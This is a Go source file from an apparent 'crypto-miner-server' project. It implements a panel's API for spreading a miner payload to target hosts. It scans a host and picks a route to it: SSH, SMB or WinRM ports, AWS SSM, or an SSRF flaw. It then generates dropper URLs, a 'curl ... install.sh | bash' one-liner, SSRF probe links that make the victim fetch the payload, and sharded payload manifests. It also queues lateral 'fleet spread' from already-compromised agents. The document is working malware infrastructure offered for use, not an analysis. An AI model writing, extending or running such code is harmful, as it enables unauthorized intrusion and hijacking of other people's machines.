package api import ( "fmt" "net" "net/http" "os" "strconv" "strings" "crypto-miner-server/internal/erasure" "crypto-miner-server/internal/models" "crypto-miner-server/internal/recon" ) const reconFleetSpreadNote = "No new endpoints on target port 6262 — actions route through existing deck dropper lanes." var fleetSpreadPorts = map[int]bool{22: true, 445: true, 5985: true} type deployKitAction struct { ID string `json:"id"` Label string `json:"label"` Value string `json:"value,omitempty"` Enabled bool `json:"enabled"` Method string `json:"method,omitempty"` URL string `json:"url,omitempty"` Body map[string]interface{} `json:"body,omitempty"` Note string `json:"note,omitempty"` } type ssrfErasureManifest struct { Scheme string `json:"scheme"` KOfN string `json:"k_of_n"` MinShards int `json:"min_shards"` DestHint string `json:"dest_hint"` Note string `json:"note"` ShardURLs []string `json:"shard_urls"` ManifestURL string `json:"manifest_url,omitempty"` ProbeTemplate string `json:"probe_template,omitempty"` } type reconPlaybookStep struct { ID string `json:"id"` Title string `json:"title"` Detail string `json:"detail,omitempty"` Actions []deployKitAction `json:"actions"` Links []struct { Label string `json:"label"` URL string `json:"url"` Note string `json:"note,omitempty"` } `json:"links,omitempty"` } func (h *SpreadHandler) BindDeployPlan(plan *DeployPlanHandler, publicURL func() string, allowlist func() map[string]ServiceDeployLane) { if h == nil { return } h.deployPlan = plan h.publicURL = publicURL h.allowlistFn = allowlist } type deployKitDropperURLs struct { GetWindows string `json:"get_windows,omitempty"` GetLinux string `json:"get_linux,omitempty"` GetDarwin string `json:"get_darwin,omitempty"` Get string `json:"get,omitempty"` InstallPS1 string `json:"install_ps1,omitempty"` InstallSh string `json:"install_sh,omitempty"` InstallCmd string `json:"install_command,omitempty"` } type deployKitSpreadZIP struct { Method string `json:"method"` URL string `json:"url"` Note string `json:"note,omitempty"` } type deployKitSpreadTemplate struct { Template string `json:"template,omitempty"` Method string `json:"method"` URL string `json:"url"` } func (h *SpreadHandler) GetDeployKit(w http.ResponseWriter, r *http.Request) { host := strings.TrimSpace(r.URL.Query().Get("host")) finding := strings.TrimSpace(r.URL.Query().Get("finding")) if host == "" { http.Error(w, "host query param required", http.StatusBadRequest) return } openPorts := parseOpenPortsParam(r.URL.Query().Get("open_ports")) ssrfPage := strings.TrimSpace(r.URL.Query().Get("ssrf_page")) ssrfField := strings.TrimSpace(r.URL.Query().Get("ssrf_field")) serverURL := strings.TrimRight(resolveSpreadServerURL(h), "/") if serverURL == "" { serverURL = "http://127.0.0.1:8989" } matched, lane, ok := resolveReconFinding(finding, h.serviceDeployAllowlist()) if !ok { writeJSON(w, map[string]interface{}{"ok": false, "host": host, "finding": finding, "error": "no deploy lane matched finding"}) return } agentID, agentReachable, agentFound := h.matchAgentForHost(host) platform := platformForReconHost(host, lane.Lane) buildID := "" if h.db != nil { if b, err := h.db.GetLatestBuildForPlatform(platform); err == nil && b != nil { buildID = b.ID } } campaign := reconCampaign(host) querySuffix, getQuerySuffix := buildQuerySuffix(buildID, campaign) dropper := deployKitDropperURLs{ Get: serverURL + "/get" + querySuffix, GetWindows: serverURL + "/get?os=windows" + getQuerySuffix, GetLinux: serverURL + "/get?os=linux" + getQuerySuffix, GetDarwin: serverURL + "/get?os=darwin" + getQuerySuffix, InstallPS1: serverURL + "/install.ps1" + querySuffix, InstallSh: serverURL + "/install.sh" + querySuffix, InstallCmd: serverURL + "/install.command" + querySuffix, } resp := map[string]interface{}{ "ok": true, "host": host, "finding": finding, "build_id": buildID, "campaign": campaign, "join_lane": lane.Lane, "matched_service": matched, "agent_reachable": agentReachable, "agent_found": agentFound, "dropper_urls": dropper, "locked_server_note": reconFleetSpreadNote, "action_matrix": buildDeployActionMatrix(host, finding, serverURL, buildID, campaign, querySuffix, openPorts, ssrfPage, ssrfField), "spread_kit_zip": deployKitSpreadZIP{Method: "POST", URL: "/api/v1/builder/spread-kit-export", Note: "Body: { server_url, build_id?, campaign? }"}, "crucible_link": crucibleSpreadLink(host, finding), } if agentID != "" { resp["agent_id"] = agentID } if tpl := strings.TrimSpace(lane.Template); tpl != "" { resp["spread_template"] = deployKitSpreadTemplate{Template: tpl, Method: "POST", URL: "/api/v1/builder/spread-template-export"} } if h.deployPlan != nil { req := deployPlanRequest{BuildID: buildID, Campaign: campaign, Platform: platform, Services: []DeployServiceFinding{{Name: matched, Status: "running"}}} if plan, err := h.deployPlan.buildPlan(req, matched, lane); err == nil { resp["deploy_plan_template"] = plan } } if lane.Lane == "ssm_document" || strings.Contains(strings.ToLower(finding), "ssm") { if h.deployPlan != nil { if bundle, err := h.deployPlan.buildSSMSpreadBundle(deployPlanRequest{BuildID: buildID, Campaign: campaign, Platform: "linux"}, serverURL); err == nil { resp["ssm_bundle"] = bundle } } } if isSSRFRelatedFinding(finding) { if manifest := buildSSRFErasureManifest(h, serverURL, buildID, campaign, platform, ssrfPage, ssrfField); manifest != nil { resp["erasure_manifest"] = manifest } } writeJSON(w, resp) } func (h *SpreadHandler) GetReconPlaybook(w http.ResponseWriter, r *http.Request) { host := strings.TrimSpace(r.URL.Query().Get("host")) if host == "" { http.Error(w, "host query param required", http.StatusBadRequest) return } report, err := recon.Scan(recon.ScanRequest{Host: host}) if err != nil { http.Error(w, err.Error(), http.StatusBadRequest) return } serverURL := strings.TrimRight(resolveSpreadServerURL(h), "/") if serverURL == "" { serverURL = "http://127.0.0.1:8989" } buildID := "" if h.db != nil { if b, err := h.db.GetLatestBuildForPlatform(platformForReconHost(host, "")); err == nil && b != nil { buildID = b.ID } } campaign := reconCampaign(host) querySuffix, _ := buildQuerySuffix(buildID, campaign) writeJSON(w, buildReconPlaybook(host, serverURL, buildID, campaign, querySuffix, report)) } func reconCampaign(host string) string { host = strings.TrimSpace(strings.ToLower(strings.ReplaceAll(host, ":", "-"))) if slug := sanitizeExportSlug("recon-" + host); slug != "" { return slug } return "recon-unknown" } func parseOpenPortsParam(raw string) map[int]bool { out := map[int]bool{} for _, part := range strings.Split(raw, ",") { if p, err := strconv.Atoi(strings.TrimSpace(part)); err == nil && p > 0 { out[p] = true } } return out } func fleetSpreadEligible(open map[int]bool) bool { for p := range fleetSpreadPorts { if open[p] { return true } } return false } func curlInstallOneliner(serverURL, querySuffix string) string { return fmt.Sprintf("curl -sL '%s/install.sh%s' | bash", strings.TrimRight(serverURL, "/"), querySuffix) } func ssrfProbeURL(serverURL, querySuffix, pageURL, fieldName string) string { target := strings.TrimRight(serverURL, "/") + "/get" + querySuffix if pageURL == "" || fieldName == "" { return target } sep := "?" if strings.Contains(pageURL, "?") { sep = "&" } return pageURL + sep + fieldName + "=" + urlQueryEscape(target) } func isSSRFRelatedFinding(finding string) bool { return strings.Contains(strings.ToLower(finding), "ssrf") } func buildDeployActionMatrix(host, finding, serverURL, buildID, campaign, querySuffix string, open map[int]bool, ssrfPage, ssrfField string) []deployKitAction { return []deployKitAction{ {ID: "copy_curl_install", Label: "Copy curl install.sh", Value: curlInstallOneliner(serverURL, querySuffix), Enabled: true}, {ID: "crucible_spread_link", Label: "Open Crucible spread tab", Value: crucibleSpreadLink(host, finding), Enabled: true}, {ID: "spread_kit_download", Label: "Export spread kit ZIP", Method: "POST", URL: "/api/v1/builder/spread-kit-export", Body: map[string]interface{}{"server_url": strings.TrimRight(serverURL, "/"), "build_id": buildID, "campaign": campaign}, Enabled: buildID != ""}, {ID: "copy_ssrf_url", Label: "Copy SSRF probe URL", Value: ssrfProbeURL(serverURL, querySuffix, ssrfPage, ssrfField), Enabled: isSSRFRelatedFinding(finding)}, {ID: "queue_fleet_spread", Label: "Queue fleet spread to host", Method: "POST", URL: "/api/v1/fleet/spread-to-host", Body: map[string]interface{}{"host": host, "finding": finding, "build_id": buildID, "campaign": campaign}, Enabled: fleetSpreadEligible(open), Note: reconFleetSpreadNote}, } } func crucibleSpreadLink(host, finding string) string { q := "reconHost=" + urlQueryEscape(host) + "&tab=spread" if finding != "" { q += "&finding=" + urlQueryEscape(finding) } return "/crucible?" + q } func buildSSRFErasureManifest(h *SpreadHandler, serverURL, buildID, campaign, platform, pageURL, fieldName string) *ssrfErasureManifest { if h == nil || h.db == nil { return nil } if platform == "" { platform = "linux" } build, err := h.db.GetLatestBuildForPlatform(platform) if err != nil || build == nil { return nil } if buildID == "" { buildID = build.ID } payload, err := os.ReadFile(build.FilePath) if err != nil { return nil } store := h.erasureShards if store == nil { store = erasure.NewShardStore() } destHint := "/tmp/aetherforge-erasure/worker" plan, err := erasure.BuildPlan(store, serverURL, buildID, campaign, payload, destHint, "exe", "", true, true) if err != nil || plan == nil { return nil } shardURLs := make([]string, len(plan.Shards)) for i, sh := range plan.Shards { shardURLs[i] = sh.URL } manifestURL := "" if manifest, err := erasure.BuildTorrentManifest(serverURL, plan.ShardToken, plan.PayloadSHA256, plan.PayloadSize, erasure.Params{DataShards: plan.DataShards, ParityShards: plan.ParityShards}, erasure.ShardContentHashes(shardsFromStore(store, plan.ShardToken))); err == nil && manifest != nil { manifestURL = manifest.ManifestURL } probeTemplate := "" if pageURL != "" && fieldName != "" { sep := "?" if strings.Contains(pageURL, "?") { sep = "&" } probeTemplate = pageURL + sep + fieldName + "={shard_url}" } return &ssrfErasureManifest{Scheme: plan.Scheme, KOfN: fmt.Sprintf("%d+%d", plan.DataShards, plan.ParityShards), MinShards: plan.DataShards, DestHint: destHint, Note: "Honest partial path — SSRF fetch destination on target not verified; server may write shards under /tmp", ShardURLs: shardURLs, ManifestURL: manifestURL, ProbeTemplate: probeTemplate} } func classifyReconProfile(host string, ports []recon.PortResult) string { lower := strings.ToLower(host) for _, m := range []string{"amazonaws.com", "compute.internal", "cloudapp.net", "ec2-"} { if strings.Contains(lower, m) { return "cloud_vps" } } if ip := net.ParseIP(host); ip != nil && !ip.IsPrivate() && !ip.IsLoopback() { return "cloud_vps" } for _, p := range ports { if p.Open && fleetSpreadPorts[p.Port] { return "ports_open" } } return "public_only" } func buildReconPlaybook(host, serverURL, buildID, campaign, querySuffix string, report *recon.ScanReport) map[string]interface{} { profile := classifyReconProfile(host, report.Ports) open := map[int]bool{} for _, p := range report.Ports { if p.Open { open[p.Port] = true } } ssrfPage, ssrfField := "", "" if report.Crawl != nil && len(report.Crawl.URLFields) > 0 { ssrfPage, ssrfField = report.Crawl.URLFields[0].PageURL, report.Crawl.URLFields[0].Name } actions := buildDeployActionMatrix(host, "ssrf", serverURL, buildID, campaign, querySuffix, open, ssrfPage, ssrfField) var steps []reconPlaybookStep switch profile { case "cloud_vps": steps = []reconPlaybookStep{{ ID: "console_ssm", Title: "Cloud console / SSM", Detail: "Use provider console or SSM — no listener on target 6262.", Actions: []deployKitAction{actions[0], actions[2]}, Links: []struct { Label string `json:"label"` URL string `json:"url"` Note string `json:"note,omitempty"` }{{Label: "AWS SSM console", URL: "https://console.aws.amazon.com/systems-manager/run-command"}}, }} case "ports_open": steps = []reconPlaybookStep{{ID: "fleet_spread", Title: "Fleet spread from online hop", Detail: "Ports 22/445/5985 open.", Actions: []deployKitAction{actions[4], actions[1], actions[2]}}} default: steps = []reconPlaybookStep{{ID: "ssrf_upload", Title: "SSRF / upload surface", Detail: "Public web only — probe SSRF or upload paths.", Actions: []deployKitAction{actions[3], actions[0], actions[1]}}} } openPorts := []int{} for p := range open { openPorts = append(openPorts, p) } return map[string]interface{}{"ok": true, "host": host, "profile": profile, "build_id": buildID, "campaign": campaign, "locked_server_note": reconFleetSpreadNote, "open_ports": openPorts, "steps": steps, "deploy_kit_url": "/api/v1/recon/deploy-kit?host=" + urlQueryEscape(host)} } func (h *SpreadHandler) serviceDeployAllowlist() map[string]ServiceDeployLane { if h.allowlistFn != nil { return NormalizeServiceDeployAllowlist(h.allowlistFn()) } return NormalizeServiceDeployAllowlist(nil) } func resolveSpreadServerURL(h *SpreadHandler) string { if h.publicURL != nil { return h.publicURL() } return "" } func resolveReconFinding(finding string, allowlist map[string]ServiceDeployLane) (matched string, lane ServiceDeployLane, ok bool) { finding = strings.TrimSpace(finding) allowlist = NormalizeServiceDeployAllowlist(allowlist) if finding == "" { return "default", ServiceDeployLane{Lane: "bits_curl", Priority: 8}, true } lower := strings.ToLower(finding) if strings.Contains(lower, "ssrf") { return "SSRF", ServiceDeployLane{Lane: "stage_fetch", Template: "ssrf_probe"}, true } if strings.Contains(lower, "ssm") { return "SSM", ServiceDeployLane{Lane: "ssm_document"}, true } normalized := normalizeJoinLane(finding) for _, entry := range allowlist { if entry.Lane == normalized { return finding, entry, true } } if normalized != "" && normalized != finding { return finding, ServiceDeployLane{Lane: normalized}, true } matched, lane, ok = PickDeployLane([]DeployServiceFinding{{Name: finding, Status: "running"}}, allowlist) if ok { return matched, lane, true } for name, entry := range allowlist { if strings.EqualFold(name, finding) { return name, entry, true } } return "", ServiceDeployLane{}, false } func (h *SpreadHandler) matchAgentForHost(host string) (agentID string, reachable bool, found bool) { host = strings.TrimSpace(strings.ToLower(host)) if host == "" || h.db == nil { return "", false, false } agents, err := h.db.ListAgents() if err != nil { return "", false, false } var match *models.Agent for _, ag := range agents { if ag == nil { continue } ip := strings.TrimSpace(strings.ToLower(ag.IP)) name := strings.TrimSpace(strings.ToLower(ag.Name)) hostname := strings.TrimSpace(strings.ToLower(ag.Hostname)) if ip == host || name == host || hostname == host { if match == nil || ag.Status == "online" { match = ag } } } if match == nil { return "", false, false } reachable = match.Status == "online" if h.wsHub != nil { reachable = h.wsHub.isAgentConnected(match.ID) } return match.ID, reachable, true } func platformForReconHost(host, lane string) string { if strings.Contains(lane, "linux") { return "linux" } _ = host return "windows" } func urlQueryEscape(s string) string { return strings.ReplaceAll(strings.ReplaceAll(s, " ", "%20"), "#", "%23") }